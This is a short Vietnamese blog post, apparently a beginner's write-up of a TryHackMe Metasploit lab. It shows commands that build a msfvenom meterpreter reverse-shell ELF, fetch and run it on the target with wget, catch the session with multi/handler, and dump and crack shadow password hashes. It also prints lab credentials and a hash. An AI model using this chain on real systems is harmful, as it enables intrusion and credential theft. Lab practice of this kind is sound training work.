[tryhackme] Msfvenom

MuffinMuffin
2 min read

Mình thấy bài này trong module Metasploit: Exploitation. Một bài Reverse Shell khá hay nên mình muốn ghi chép lại.

1, Kết nối SSH

Ta được cung cấp username/password của người dùng: murphy/1q2w3e4r

Kết nối SSH: ssh murphy@{target_IP}

khi vào được terminal rồi, ta gõ lệnh sudo su để thăng quyền lên root. Như vậy sẽ làm các bước sau đơn giản hơn.

2, Tạo Payload

Tạo payload đuôi .elf bằng lệnh sau

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f elf > rev_shell.elf

Trong đó:

LHOST - IP của máy local

LPORT - cổng tự đặt để kết nối reverse. Ở đây mình sẽ đặt là 4444

3, Chuyển file .elf sang máy target

Tạo 1 web server trên local bằng lệnh sau:

python3 -m http.server 9000

Đến terminal của target, ta chạy lệnh wget http://{local_IP}:9000/rev_shell.elf để kéo file .elf từ local qua target.

Sau đó cập nhật quyền thực thi cho file rev_shell.elf bằng lệnh chmod +x rev_shell.elf

4, Khởi động một phiên Meterpreter

Quay lại terminal của local.

Chạy metasploit bằng msfconsole

Để khởi động một phiên meterpreter, ta cần: một payload đã tạo trước đó, và một handler làm cổng listener.

Ta chạy handler bằng lệnh use exploit/multi/handler (có thể dùng search handler để tìm exploit này)

Ta cập nhật lại LHOST để đồng bộ với rev_shell đã tải xuống phía target.

show options

set LHOST {local_IP}

(ta cũng cập nhật payload bằng set payload linux/x86/meterpreter/reverse_tcp )

Bắt đầu khởi chạy handler: exploit

Cổng listener sẽ được mở trên máy local.

Đến terminal của target. Ta khởi chạy reverse shell bằng lệnh ./rev_shell.elf

Nếu con trỏ ở meterpreter > thì tức là kết nối đã thành công.

5, Dump Hash

Ta dùng run post/linux/gather/hashdump để dump hash

Ta xem được username khác là claire, và password là $6$Sy0NNIXw$SJ27WltHI89hwM5UxqVGiXidj94QFRm2Ynp9p9kxgVbjrmtMez9EqXoDWtcQd8rf0tjc77hBFbWxjGmQCTbep0

Bonus: với John the Ripper, ta có thể dễ dàng crack được password này

(đưa password vào file ___.txt => john —format=sha512crypt ___.txt)

0
Subscribe to my newsletter

Read articles from Muffin directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Muffin
Muffin

I've just started to learn pentesting from the start. I like cats.